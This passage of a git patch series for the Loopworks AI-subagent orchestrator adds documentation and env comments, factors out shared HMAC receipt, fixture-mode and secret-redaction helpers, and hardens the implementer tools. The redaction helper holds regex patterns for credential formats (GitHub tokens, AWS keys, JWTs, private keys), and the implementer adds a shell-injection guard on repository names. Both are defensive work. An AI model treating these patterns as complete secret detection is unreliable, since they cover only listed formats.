expect(parseImplementationSubagentOutput(JSON.stringify(result))).toEqual(result); + expect(parseImplementationSubagentOutput("not json")).toBeUndefined(); + }); +}); From 73f6a17306a0b579b7a8d91e4b44ad72ababdebc Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:08:29 -0700 Subject: [PATCH 06/10] docs: record implementer stage in ADR 0015 and architecture docs Document the implementation sibling's handoff contract, signed green receipts, and root-owned persistence; mark the issue-48 follow-up done and register LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE. Co-Authored-By: Claude Fable 5 --- .env.example | 1 + README.md | 1 + ...estrator-and-isolated-subagent-handoffs.md | 28 ++++++++++++++----- docs/architecture.md | 5 +++- 4 files changed, 27 insertions(+), 8 deletions(-) diff --git a/.env.example b/.env.example index 770b35f..7acb0c6 100644 --- a/.env.example +++ b/.env.example @@ -10,6 +10,7 @@ LOOPWORKS_RESEARCH_LOOP_ENABLED="true" LOOPWORKS_PORTAL_DATA_MODE="" LOOPWORKS_EVE_TEST_RECEIPT_SECRET="replace-with-test-receipt-secret" LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE="false" +LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE="false" LOG_LEVEL="info" DATABASE_URL="postgres://loopworks:loopworks@127.0.0.1:5432/loopworks" OTEL_EXPORTER_OTLP_PROTOCOL="http/protobuf" diff --git a/README.md b/README.md index 3f9da75..0056cfe 100644 --- a/README.md +++ b/README.md @@ -53,6 +53,7 @@ Copy `.env.example` to `.env.local` for local development. The fixture server on - `LOOPWORKS_PORTAL_DATA_MODE` - `LOOPWORKS_EVE_TEST_RECEIPT_SECRET` - `LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE` +- `LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE` - `LOG_LEVEL` - `DATABASE_URL` - `OTEL_EXPORTER_OTLP_PROTOCOL` diff --git a/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md b/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md index e6d6110..11fced6 100644 --- a/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md +++ b/docs/adr/0015-stage-orchestrator-and-isolated-subagent-handoffs.md @@ -28,8 +28,9 @@ uses `openai/gpt-5.6-terra`. Each retains independent `xhigh` reasoning configuration so model routing can evolve per stage without changing the shared topology. -Planner and test-writer receive repository-scoped discovery, text search, and -line-range read tools against their isolated commit-pinned checkouts. The tools +Planner, test-writer, and implementer receive repository-scoped discovery, text +search, and line-range read tools against their isolated commit-pinned +checkouts. The tools exclude secret, generated, dependency, and traversal paths; bound queries and outputs; reject symlink escape; and return commit/path/line provenance. The framework's permissive filesystem tools remain disabled. Planner web access is @@ -51,6 +52,17 @@ or mismatched approvals fail closed. Expected assertion failures complete the test-writing stage successfully; environment, setup, timeout, crash, unrelated, or passing results do not advance the run. +The implementation sibling uses `openai/gpt-5.6-terra` with independent +`xhigh` reasoning configuration. It consumes the exact persisted test plan, +test-only patch, red evidence, and fixture records without re-derivation. Its +guarded tools apply that patch once, permit one bounded production-only write, +run every exact planned test plus `bun run validate`, and emit +`loopworks.implementation_result.v1`. Signed green receipts bind the plan, +test-plan, test-patch, production-patch, command, paths, and redacted output +digests. The root revalidates the approval and complete handoff before storing +the result in the existing development `patch` artifact and advancing to the +separate validation stage. + ## Consequences Each stage can tune its model and capabilities independently without granting @@ -63,19 +75,21 @@ deterministic control-plane behavior rather than model judgment. ## Validation -1. Eve discovery reports the root plus declared `planner` and `test-writer` - subagents without diagnostics. +1. Eve discovery reports the root plus declared `planner`, `test-writer`, and + `implementer` subagents without diagnostics. 2. Unit tests cover tool allowlists, fixture fail-closed behavior, patch safety, AC coverage, red-evidence classification, and sanitized telemetry. 3. PGlite tests prove exact plan approval, two-artifact persistence, idempotency, and advancement only for complete expected-red evidence. -4. Eve eval discovery includes planner and test-writing routing scenarios. +4. Eve eval discovery includes planner, test-writing, and implementation + routing scenarios. 5. `bun run validate` and `bun run build` pass before review. ## Follow-Ups -1. Issue #48 consumes the persisted test-only patch and produces the smallest - green implementation patch in a separate sandbox. +1. **Done by issue #48.** The implementer consumes the persisted test-only + patch and produces the smallest green implementation patch in a separate + sandbox. 2. Issues #44-#46 and #49-#51 implement additional sibling subagents under this orchestration contract. 3. Accept this ADR only after maintainer review of issue #47. diff --git a/docs/architecture.md b/docs/architecture.md index 9dac964..17c887c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -185,7 +185,10 @@ Stage subagents are tracked as backlog items, one per loop stage that still lack 1. Research loop skeleton, research planner, researcher, and research author agents — the `spike` plus `agent-ready` research loop, run in parallel to the development loop. 2. Test-writer subagent — test-writing stage, red test evidence plus a reusable automated test plan, explicit seed data, and a bounded test-only patch. -3. Implementation subagent — development stage, patch artifact. +3. Implementation subagent — development stage, digest-bound production patch + plus signed focused and aggregate green evidence. It reuses the exact + test-writing patch and fixtures, while the root owns persistence and the + transition to validation. 4. Validation review subagent — code review stage, code review notes and UI screenshot evidence. 5. PR preparation subagent — PR stage, PR intent content including screenshots. 6. Release notes subagent — done stage, completion summary. From c7eb9d7f652424ce6c4354ee95d8c78927ee7436 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:09:23 -0700 Subject: [PATCH 07/10] docs(env): annotate .env.example with inline configuration comments Co-Authored-By: Claude Fable 5 --- .env.example | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/.env.example b/.env.example index 7acb0c6..64c1932 100644 --- a/.env.example +++ b/.env.example @@ -1,27 +1,44 @@ +# Auth.js session secret; generate with `npx auth secret` or `openssl rand -base64 32`. AUTH_SECRET="replace-with-auth-secret" +# GitHub OAuth app credentials for SSO sign-in. AUTH_GITHUB_ID="replace-with-github-oauth-client-id" AUTH_GITHUB_SECRET="replace-with-github-oauth-client-secret" +# "true" skips GitHub SSO authorization entirely. Local development only. LOOPWORKS_AUTH_BYPASS="false" +# Comma-separated allowlists; a session needs a matching login or org membership. LOOPWORKS_ALLOWED_GITHUB_USERS="ncolesummers" LOOPWORKS_ALLOWED_GITHUB_ORGS="" +# Per-loop kill switches for webhook-triggered loop starts. LOOPWORKS_AGENT_READY_LOOP_ENABLED="true" LOOPWORKS_DEVELOPMENT_LOOP_ENABLED="true" LOOPWORKS_RESEARCH_LOOP_ENABLED="true" +# "fixtures" serves canned portal data (non-production only); empty uses the database. LOOPWORKS_PORTAL_DATA_MODE="" +# HMAC secret for signing test-run receipts passed between subagents and the orchestrator. LOOPWORKS_EVE_TEST_RECEIPT_SECRET="replace-with-test-receipt-secret" +# "true" makes these subagents replay recorded fixtures instead of calling the model. LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE="false" LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE="false" +# Pino log level: trace|debug|info|warn|error|fatal. LOG_LEVEL="info" +# Default matches the local Postgres bootstrap; demo seeding refuses non-local databases. DATABASE_URL="postgres://loopworks:loopworks@127.0.0.1:5432/loopworks" +# Standard OTLP exporter config; leave OTEL_EXPORTER_OTLP_ENDPOINT empty to disable export. OTEL_EXPORTER_OTLP_PROTOCOL="http/protobuf" OTEL_EXPORTER_OTLP_ENDPOINT="" +# Auth headers for the traces/metrics backend, e.g. "Authorization=Bearer ". OTEL_EXPORTER_OTLP_TRACES_HEADERS="" OTEL_EXPORTER_OTLP_METRICS_HEADERS="" OTEL_SERVICE_NAME="loopworks" +# Extra key=value resource pairs, e.g. "deployment.environment=dev". OTEL_RESOURCE_ATTRIBUTES="" +# GitHub App used for webhook intake and PR automation. GITHUB_APP_ID="" +# App PEM key; escape newlines as \n when set on a single line. GITHUB_APP_PRIVATE_KEY="" +# Must match the webhook secret configured on the GitHub App. GITHUB_WEBHOOK_SECRET="dev-webhook-secret" +# Vercel API token and team for deployment visibility; leave empty to disable. VERCEL_ACCESS_TOKEN="" VERCEL_TEAM_ID="" VERCEL_TEAM_SLUG="" From 27f1323bcc47a8053a805571eb10132817fcb5b5 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 22:07:38 -0700 Subject: [PATCH 08/10] refactor(agent): share redaction, receipt, and fixture-mode helpers Security-critical helpers now have one implementation: redactSecrets (the test-writer gains the private-key rule it was missing), a generic HMAC execution-receipt pair, and a parameterized stage fixture-mode resolver. loadImplementationHandoff verifies at parity with the root transition so the subagent rejects anything persistence would reject instead of burning the stage first. Co-Authored-By: Claude Fable 5 --- agent/lib/fixture-mode.ts | 38 +++++++++---------- agent/lib/receipts.ts | 14 +++++++ agent/lib/redaction.ts | 19 ++++++++++ agent/subagents/implementer/lib/context.ts | 22 ++++++++++- .../subagents/implementer/lib/fixture-mode.ts | 14 ++----- .../subagents/test-writer/lib/fixture-mode.ts | 17 ++------- .../subagents/test-writer/lib/tool-policy.ts | 23 +++-------- 7 files changed, 84 insertions(+), 63 deletions(-) create mode 100644 agent/lib/receipts.ts create mode 100644 agent/lib/redaction.ts diff --git a/agent/lib/fixture-mode.ts b/agent/lib/fixture-mode.ts index 2d01f08..b9066be 100644 --- a/agent/lib/fixture-mode.ts +++ b/agent/lib/fixture-mode.ts @@ -1,5 +1,22 @@ import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; +export type StageFixtureMode = + | { enabled: true; reason: "explicit_non_production_fixture" } + | { enabled: false; reason: "not_requested" | "production_runtime_blocked" }; + +export function resolveStageFixtureMode( + envVarName: string, + env: Partial = process.env, +): StageFixtureMode { + if (!isTruthyEnvValue(env[envVarName])) { + return { enabled: false, reason: "not_requested" }; + } + if (isProductionRuntime(env)) { + return { enabled: false, reason: "production_runtime_blocked" }; + } + return { enabled: true, reason: "explicit_non_production_fixture" }; +} + export type PlanningAgentFixtureMode = | { enabled: true; @@ -14,23 +31,6 @@ export type PlanningAgentFixtureMode = export function resolvePlanningAgentFixtureMode( env: Partial = process.env, ): PlanningAgentFixtureMode { - if (!isTruthyEnvValue(env.LOOPWORKS_EVE_FIXTURE_MODE)) { - return { - enabled: false, - reason: "not_requested", - }; - } - - if (isProductionRuntime(env)) { - return { - enabled: false, - reason: "production_runtime_blocked", - }; - } - - return { - enabled: true, - label: "fixture", - reason: "explicit_non_production_fixture", - }; + const mode = resolveStageFixtureMode("LOOPWORKS_EVE_FIXTURE_MODE", env); + return mode.enabled ? { ...mode, label: "fixture" } : mode; } diff --git a/agent/lib/receipts.ts b/agent/lib/receipts.ts new file mode 100644 index 0000000..22dc131 --- /dev/null +++ b/agent/lib/receipts.ts @@ -0,0 +1,14 @@ +import { createHmac, timingSafeEqual } from "node:crypto"; + +import { canonicalJsonStringify } from "./canonical-json"; + +export function createExecutionReceipt(payload: unknown, secret: string): string { + if (!secret.trim()) throw new Error("Execution receipt secret is required."); + return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); +} + +export function verifyExecutionReceipt(payload: unknown, receipt: string, secret: string): boolean { + const expected = Buffer.from(createExecutionReceipt(payload, secret), "hex"); + const actual = Buffer.from(receipt, "hex"); + return actual.length === expected.length && timingSafeEqual(actual, expected); +} diff --git a/agent/lib/redaction.ts b/agent/lib/redaction.ts new file mode 100644 index 0000000..c593a4c --- /dev/null +++ b/agent/lib/redaction.ts @@ -0,0 +1,19 @@ +// Shared secret redaction for persisted subagent evidence. Every stage must +// use this one implementation so a new token pattern lands everywhere at once. +export function redactSecrets(value: string): string { + return value + .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") + .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") + .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") + .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace( + /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----[\s\S]*?-----END (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/g, + "[REDACTED PRIVATE KEY]", + ) + .replace( + /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, + "$1[REDACTED]", + ) + .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); +} diff --git a/agent/subagents/implementer/lib/context.ts b/agent/subagents/implementer/lib/context.ts index 980b8db..e2f10ee 100644 --- a/agent/subagents/implementer/lib/context.ts +++ b/agent/subagents/implementer/lib/context.ts @@ -8,6 +8,8 @@ import { computeTestPlanDigest, redTestEvidenceSchema, testPlanArtifactSchema, + testWriterModelLabel, + testWritingAgentOutputSchema, } from "../../../test-writing-agent"; import { resolveImplementerFixtureMode } from "./fixture-mode"; @@ -51,16 +53,32 @@ export async function loadImplementationHandoff(runId: string) { .select() .from(artifacts) .where(and(eq(artifacts.runId, runId), eq(artifacts.stepId, testStep.id))); - const testPlanRow = rows.find(({ type }) => type === "test_plan"); - const redRow = rows.find(({ type }) => type === "validation_report"); + // Verification must stay at parity with applyDevelopmentLoopImplementationResult: + // anything the root rejects, the subagent must reject before burning the stage. + const testPlanRows = rows.filter(({ type }) => type === "test_plan"); + const redRows = rows.filter(({ type }) => type === "validation_report"); + if (testPlanRows.length !== 1 || redRows.length !== 1) { + throw new Error("Implementation requires exactly one test plan and red-evidence artifact."); + } + const testPlanRow = testPlanRows[0]; + const redRow = redRows[0]; const testPlan = testPlanArtifactSchema.parse(testPlanRow?.metadata?.testPlan); const redEvidence = redTestEvidenceSchema.parse(redRow?.metadata?.redTestEvidence); + const compositeHandoff = testWritingAgentOutputSchema.safeParse({ + model: testWriterModelLabel, + testPlan, + redEvidence, + }); if ( + !compositeHandoff.success || testPlanRow?.sha256 !== computeTestPlanDigest(testPlan) || redRow?.sha256 !== computeTestPlanDigest(redEvidence) || redEvidence.testPlanSha256 !== computeTestPlanDigest(testPlan) || + redEvidence.planId !== plan.identity.id || + redEvidence.planSha256 !== plan.identity.sha256 || testPlan.plan.id !== plan.identity.id || testPlan.plan.sha256 !== plan.identity.sha256 || + testPlan.plan.repositoryFullName !== plan.issue.repositoryFullName || testPlan.plan.commitSha !== plan.repositoryRevision.commitSha ) { throw new Error("Implementation handoff artifacts are stale or mismatched."); diff --git a/agent/subagents/implementer/lib/fixture-mode.ts b/agent/subagents/implementer/lib/fixture-mode.ts index 1dafa41..6e60f29 100644 --- a/agent/subagents/implementer/lib/fixture-mode.ts +++ b/agent/subagents/implementer/lib/fixture-mode.ts @@ -1,17 +1,9 @@ -import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; +import { resolveStageFixtureMode, type StageFixtureMode } from "../../../lib/fixture-mode"; -export type ImplementerFixtureMode = - | { enabled: true; reason: "explicit_non_production_fixture" } - | { enabled: false; reason: "not_requested" | "production_runtime_blocked" }; +export type ImplementerFixtureMode = StageFixtureMode; export function resolveImplementerFixtureMode( env: Partial = process.env, ): ImplementerFixtureMode { - if (!isTruthyEnvValue(env.LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE)) { - return { enabled: false, reason: "not_requested" }; - } - if (isProductionRuntime(env)) { - return { enabled: false, reason: "production_runtime_blocked" }; - } - return { enabled: true, reason: "explicit_non_production_fixture" }; + return resolveStageFixtureMode("LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE", env); } diff --git a/agent/subagents/test-writer/lib/fixture-mode.ts b/agent/subagents/test-writer/lib/fixture-mode.ts index 7aa6618..76d4ac3 100644 --- a/agent/subagents/test-writer/lib/fixture-mode.ts +++ b/agent/subagents/test-writer/lib/fixture-mode.ts @@ -1,20 +1,9 @@ -import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; +import { resolveStageFixtureMode, type StageFixtureMode } from "../../../lib/fixture-mode"; -export type TestWriterFixtureMode = - | { enabled: true; reason: "explicit_non_production_fixture" } - | { - enabled: false; - reason: "not_requested" | "production_runtime_blocked"; - }; +export type TestWriterFixtureMode = StageFixtureMode; export function resolveTestWriterFixtureMode( env: Partial = process.env, ): TestWriterFixtureMode { - if (!isTruthyEnvValue(env.LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE)) { - return { enabled: false, reason: "not_requested" }; - } - if (isProductionRuntime(env)) { - return { enabled: false, reason: "production_runtime_blocked" }; - } - return { enabled: true, reason: "explicit_non_production_fixture" }; + return resolveStageFixtureMode("LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE", env); } diff --git a/agent/subagents/test-writer/lib/tool-policy.ts b/agent/subagents/test-writer/lib/tool-policy.ts index b29d792..4cfd212 100644 --- a/agent/subagents/test-writer/lib/tool-policy.ts +++ b/agent/subagents/test-writer/lib/tool-policy.ts @@ -1,6 +1,7 @@ -import { createHash, createHmac, timingSafeEqual } from "node:crypto"; +import { createHash } from "node:crypto"; -import { canonicalJsonStringify } from "../../../lib/canonical-json"; +import { createExecutionReceipt, verifyExecutionReceipt } from "../../../lib/receipts"; +import { redactSecrets } from "../../../lib/redaction"; import { isAllowedFocusedTestCommand, isAllowedTestArtifactPath, @@ -52,17 +53,7 @@ export function assertCommandMatchesPlannedTests( } export function redactTestOutput(value: string): string { - return value - .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") - .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") - .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") - .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace( - /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, - "$1[REDACTED]", - ) - .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); + return redactSecrets(value); } export function classifyTestRun(input: { @@ -89,7 +80,7 @@ export function createTestExecutionReceipt( secret: string, ): string { if (!secret.trim()) throw new Error("Test execution receipt secret is required."); - return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); + return createExecutionReceipt(payload, secret); } export function verifyTestExecutionReceipt( @@ -97,9 +88,7 @@ export function verifyTestExecutionReceipt( receipt: string, secret: string, ): boolean { - const expected = Buffer.from(createTestExecutionReceipt(payload, secret), "hex"); - const actual = Buffer.from(receipt, "hex"); - return actual.length === expected.length && timingSafeEqual(actual, expected); + return verifyExecutionReceipt(payload, receipt, secret); } export function sha256(value: string): string { From 1cbd3d382ae3820e45ed2dba66b308f3c1e3fd85 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 22:08:08 -0700 Subject: [PATCH 09/10] fix(agent): harden implementer guards against false rejects and injection - Verify sandbox working trees with git status --porcelain --untracked-files=all instead of git diff --name-only, which never lists untracked files and blocked every test patch that added a new file; unquote C-quoted porcelain paths. - Guard repositoryFullName against shell metacharacters before it is interpolated into the clone command during the open-egress window, matching the test-writer checkout. - Classify green runs by exit code plus positive pass evidence instead of bare substrings like "timeout" that collide with test titles, and trust the aggregate validation exit code over phrase scans. - Release the one-shot production-write claim with a best-effort file revert when a write fails, so transient errors no longer brick the session. - Stop rejecting production files merely named after fixtures (fixture-mode.ts could not have shipped itself). - Add spans to the production write and the network-egress checkout. Co-Authored-By: Claude Fable 5 --- agent/implementation-agent.ts | 3 +- .../subagents/implementer/lib/tool-policy.ts | 68 ++++--- .../tools/apply_exact_test_patch.ts | 5 +- .../tools/read_implementation_context.ts | 17 +- .../tools/run_aggregate_validation.ts | 4 +- .../tools/write_production_files.ts | 192 +++++++++++------- tests/unit/agent/implementation-tools.test.ts | 56 +++++ 7 files changed, 241 insertions(+), 104 deletions(-) diff --git a/agent/implementation-agent.ts b/agent/implementation-agent.ts index 93ed8d7..787cf29 100644 --- a/agent/implementation-agent.ts +++ b/agent/implementation-agent.ts @@ -47,8 +47,7 @@ export function isAllowedProductionArtifactPath(path: string): boolean { !segments.some((segment) => segment === "." || segment === "..") && !segments.some((segment) => forbiddenProductionSegments.has(segment.toLowerCase())) && !forbiddenProductionFilePattern.test(filename) && - !/\.(?:test|spec|stories)\.[^/]+$/i.test(filename) && - !/(?:^|[-_.])fixture(?:[-_.]|$)/i.test(filename) + !/\.(?:test|spec|stories)\.[^/]+$/i.test(filename) ); } diff --git a/agent/subagents/implementer/lib/tool-policy.ts b/agent/subagents/implementer/lib/tool-policy.ts index bddc236..4a2b9ec 100644 --- a/agent/subagents/implementer/lib/tool-policy.ts +++ b/agent/subagents/implementer/lib/tool-policy.ts @@ -1,6 +1,7 @@ -import { createHash, createHmac, timingSafeEqual } from "node:crypto"; +import { createHash } from "node:crypto"; -import { canonicalJsonStringify } from "../../../lib/canonical-json"; +import { createExecutionReceipt, verifyExecutionReceipt } from "../../../lib/receipts"; +import { redactSecrets } from "../../../lib/redaction"; import { isAllowedProductionArtifactPath } from "../../../implementation-agent"; export type ImplementationExecutionReceiptPayload = { @@ -31,6 +32,36 @@ export function assertProductionWriteNotClaimed(existingClaim: string | null): v } } +export function assertWellFormedRepositoryFullName(repositoryFullName: string): void { + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(repositoryFullName)) { + throw new Error("Repository name must be a well-formed owner/name pair."); + } +} + +// `git diff --name-only` never lists untracked files, so freshly added files +// (the common shape of a test patch) would be invisible to path verification. +// --untracked-files=all keeps new directories from collapsing to "?? dir/". +export const sandboxWorkingTreeStatusCommand = + "cd repo && git status --porcelain --untracked-files=all"; + +export function parseWorkingTreePaths(stdout: string): string[] { + return stdout + .split(/\r?\n/) + .filter(Boolean) + .map((line) => line.slice(3)) + .map((path) => { + if (!path.startsWith('"') || !path.endsWith('"')) return path; + try { + // Porcelain C-quotes paths with spaces; JSON unquoting covers those. + // Paths it cannot decode stay quoted and fail closed at comparison. + return JSON.parse(path) as string; + } catch { + return path; + } + }) + .sort(); +} + export function assertExactFocusedCommand( command: string, plannedCommand: string, @@ -46,36 +77,29 @@ export function assertExactFocusedCommand( } } +// Broad substrings like "timeout" or "killed" appear in legitimate test titles +// and misclassify green runs; a zero exit code already rules out crashes, so we +// require positive pass evidence and scan only for runner-level infra errors. export function classifyGreenRun(input: { exitCode: number; output: string; testPath: string; }): "pass" | "invalid" { const invalidOutput = - /(no tests? found|no test files found|cannot find module|module not found|failed to load|command not found|syntaxerror|timed? out|timeout|killed|segmentation fault|out of memory|unhandled error)/i.test( + /(no tests? found|no test files found|cannot find module|module not found|failed to load|command not found)/i.test( input.output, ); - return input.exitCode === 0 && input.output.includes(input.testPath) && !invalidOutput + const passEvidence = /\b[1-9]\d*\s+pass(?:ed|ing)?\b|\bPASS\b/.test(input.output); + return input.exitCode === 0 && + input.output.includes(input.testPath) && + passEvidence && + !invalidOutput ? "pass" : "invalid"; } export function redactImplementationOutput(value: string): string { - return value - .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") - .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") - .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") - .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") - .replace( - /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----[\s\S]*?-----END (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/g, - "[REDACTED PRIVATE KEY]", - ) - .replace( - /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, - "$1[REDACTED]", - ) - .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); + return redactSecrets(value); } export function createImplementationExecutionReceipt( @@ -83,7 +107,7 @@ export function createImplementationExecutionReceipt( secret: string, ): string { if (!secret.trim()) throw new Error("Implementation receipt secret is required."); - return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); + return createExecutionReceipt(payload, secret); } export function verifyImplementationExecutionReceipt( @@ -91,9 +115,7 @@ export function verifyImplementationExecutionReceipt( receipt: string, secret: string, ): boolean { - const expected = Buffer.from(createImplementationExecutionReceipt(payload, secret), "hex"); - const actual = Buffer.from(receipt, "hex"); - return actual.length === expected.length && timingSafeEqual(actual, expected); + return verifyExecutionReceipt(payload, receipt, secret); } export function sha256(value: string): string { diff --git a/agent/subagents/implementer/tools/apply_exact_test_patch.ts b/agent/subagents/implementer/tools/apply_exact_test_patch.ts index b70a5d8..8e31a72 100644 --- a/agent/subagents/implementer/tools/apply_exact_test_patch.ts +++ b/agent/subagents/implementer/tools/apply_exact_test_patch.ts @@ -6,6 +6,7 @@ import { startLoopworksSpan } from "@/lib/observability/trace-context"; import { computeTestPlanDigest } from "../../../test-writing-agent"; import { loadImplementationHandoff } from "../lib/context"; import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { parseWorkingTreePaths, sandboxWorkingTreeStatusCommand } from "../lib/tool-policy"; export default defineTool({ description: "Apply only the exact persisted, digest-bound test patch to the pinned checkout.", @@ -39,10 +40,10 @@ export default defineTool({ }); if (applied.exitCode !== 0) throw new Error("Exact test patch could not be applied."); const changed = await sandbox.run({ - command: "cd repo && git diff --name-only", + command: sandboxWorkingTreeStatusCommand, abortSignal: AbortSignal.timeout(5_000), }); - const paths = changed.stdout.split(/\r?\n/).filter(Boolean).sort(); + const paths = parseWorkingTreePaths(changed.stdout); const expected = [...handoff.testPlan.patch.paths].sort(); if (JSON.stringify(paths) !== JSON.stringify(expected)) { throw new Error("Applied test patch changed undeclared paths."); diff --git a/agent/subagents/implementer/tools/read_implementation_context.ts b/agent/subagents/implementer/tools/read_implementation_context.ts index fd7e4a8..9bdda01 100644 --- a/agent/subagents/implementer/tools/read_implementation_context.ts +++ b/agent/subagents/implementer/tools/read_implementation_context.ts @@ -1,10 +1,13 @@ +import { SpanStatusCode } from "@opentelemetry/api"; import { defineTool } from "eve/tools"; import { z } from "zod"; +import { startLoopworksSpan } from "@/lib/observability/trace-context"; import { computeImplementationDigest } from "../../../implementation-agent"; import { computeTestPlanDigest } from "../../../test-writing-agent"; import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; import { loadImplementationHandoff } from "../lib/context"; +import { assertWellFormedRepositoryFullName } from "../lib/tool-policy"; export default defineTool({ description: "Load and verify the approved plan, exact test patch, red evidence, and fixtures.", @@ -24,11 +27,15 @@ export default defineTool({ }; const sandbox = await ctx.getSandbox(); if (!resolveImplementerFixtureMode().enabled) { + assertWellFormedRepositoryFullName(handoff.plan.issue.repositoryFullName); const repoUrl = `https://github.com/${handoff.plan.issue.repositoryFullName}.git`; - await sandbox.setNetworkPolicy({ - allow: ["github.com", "objects.githubusercontent.com", "registry.npmjs.org"], + const span = startLoopworksSpan("loopworks.implementation.checkout", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, }); try { + await sandbox.setNetworkPolicy({ + allow: ["github.com", "objects.githubusercontent.com", "registry.npmjs.org"], + }); const result = await sandbox.run({ command: [ `git clone --filter=blob:none ${JSON.stringify(repoUrl)} repo`, @@ -41,8 +48,14 @@ export default defineTool({ abortSignal: AbortSignal.timeout(120_000), }); if (result.exitCode !== 0) throw new Error("Commit-pinned checkout failed."); + span.setStatus({ code: SpanStatusCode.OK }); + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; } finally { await sandbox.setNetworkPolicy("deny-all"); + span.end(); } } await sandbox.run({ command: "mkdir -p .loopworks" }); diff --git a/agent/subagents/implementer/tools/run_aggregate_validation.ts b/agent/subagents/implementer/tools/run_aggregate_validation.ts index 5dce21d..18491f4 100644 --- a/agent/subagents/implementer/tools/run_aggregate_validation.ts +++ b/agent/subagents/implementer/tools/run_aggregate_validation.ts @@ -51,7 +51,9 @@ export default defineTool({ abortSignal: AbortSignal.timeout(900_000), }); const redacted = redactImplementationOutput(`${result.stdout}\n${result.stderr}`); - if (result.exitCode !== 0 || /(?:error: script|tests? failed|build failed)/i.test(redacted)) { + // The exit code is authoritative; phrase scans misfire on passing output + // that merely mentions failure (e.g. a test titled "renders build failed"). + if (result.exitCode !== 0) { throw new Error("Aggregate implementation validation failed."); } const outputSha256 = sha256(redacted); diff --git a/agent/subagents/implementer/tools/write_production_files.ts b/agent/subagents/implementer/tools/write_production_files.ts index 4eb83ff..2859bcf 100644 --- a/agent/subagents/implementer/tools/write_production_files.ts +++ b/agent/subagents/implementer/tools/write_production_files.ts @@ -1,6 +1,8 @@ +import { SpanStatusCode } from "@opentelemetry/api"; import { defineTool } from "eve/tools"; import { z } from "zod"; +import { startLoopworksSpan } from "@/lib/observability/trace-context"; import { maxImplementationPatchBytes } from "../../../implementation-agent"; import { buildGitTreeEntryCommand } from "../../../lib/repository-inspection"; import { readPinnedRepositoryCommit } from "../../../lib/repository-inspection-runtime"; @@ -8,6 +10,8 @@ import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; import { assertAllowedProductionFiles, assertProductionWriteNotClaimed, + parseWorkingTreePaths, + sandboxWorkingTreeStatusCommand, sha256, } from "../lib/tool-policy"; @@ -31,85 +35,125 @@ export default defineTool({ inputSchema, async execute(input, ctx) { assertAllowedProductionFiles(input.files); - const sandbox = await ctx.getSandbox(); - const existingClaim = await sandbox.readTextFile({ - path: ".loopworks/production-write-claimed", + 